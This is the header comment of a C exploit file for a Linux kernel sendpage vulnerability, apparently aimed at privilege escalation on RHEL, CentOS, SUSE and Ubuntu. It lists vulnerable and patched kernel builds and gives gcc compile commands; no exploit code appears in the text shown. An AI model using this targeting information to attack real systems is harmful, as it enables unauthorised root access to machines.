/*
 * This exploit was written to illustrate the exploitability of this
 * vulnerability[1], discovered by Tavis Ormandy and Julien Tinnes, on ppc
 * and ppc64.
 *
 * This exploit makes use of the SELinux and the mmap_min_addr problem to
 * exploit this vulnerability on Red Hat Enterprise Linux 5.3 and CentOS 5.3.
 * The problem, first noticed by Brad Spengler, was described by Red Hat in
 * Red Hat Knowledgebase article: Security-Enhanced Linux (SELinux) policy and
 * the mmap_min_addr protection[2].
 *
 * Support for i386 and x86_64 was added for completeness. For a more complete
 * implementation, refer to Brad Spengler's exploit[3], which also implements
 * the personality trick[4] published by Tavis Ormandy and Julien Tinnes.
 *
 * Linux kernel versions from 2.4.4 to 2.4.37.4, and from 2.6.0 to 2.6.30.4
 * are vulnerable.
 *
 * This exploit was tested on:
 *
 * CentOS 5.3 (2.6.18-128.7.1.el5) is not vulnerable
 * CentOS 5.3 (2.6.18-128.4.1.el5)
 * CentOS 5.3 (2.6.18-128.2.1.el5)
 * CentOS 5.3 (2.6.18-128.1.16.el5)
 * CentOS 5.3 (2.6.18-128.1.14.el5)
 * CentOS 5.3 (2.6.18-128.1.10.el5)
 * CentOS 5.3 (2.6.18-128.1.6.el5)
 * CentOS 5.3 (2.6.18-128.1.1.el5)
 * CentOS 5.3 (2.6.18-128.el5)
 * CentOS 4.8 (2.6.9-89.0.9.EL) is not vulnerable
 * CentOS 4.8 (2.6.9-89.0.7.EL)
 * CentOS 4.8 (2.6.9-89.0.3.EL)
 * CentOS 4.8 (2.6.9-89.EL)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.7.1.el5) is not vulnerable
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.4.1.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.2.1.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.16.el5)

 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.10.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.6.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.1.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.el5)
 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.9.EL) is not vulnerable
 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.7.EL)
 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.3.EL)
 * Red Hat Enterprise Linux 4.8 (2.6.9-89.EL)
 * SUSE Linux Enterprise Server 11 (2.6.27.19-5)
 * SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.21)
 * Ubuntu 8.10 (2.6.27-14) is not vulnerable
 * Ubuntu 8.10 (2.6.27-11)
 * Ubuntu 8.10 (2.6.27-9)
 * Ubuntu 8.10 (2.6.27-7)
 *
 * For i386 and ppc, compile with the following command:
 * gcc -Wall -o linux-sendpage linux-sendpage.c
 *
 * And for x86_64 and ppc64:
 * gcc -Wall -m64 -o linux-sendpage linux-sendpage.c
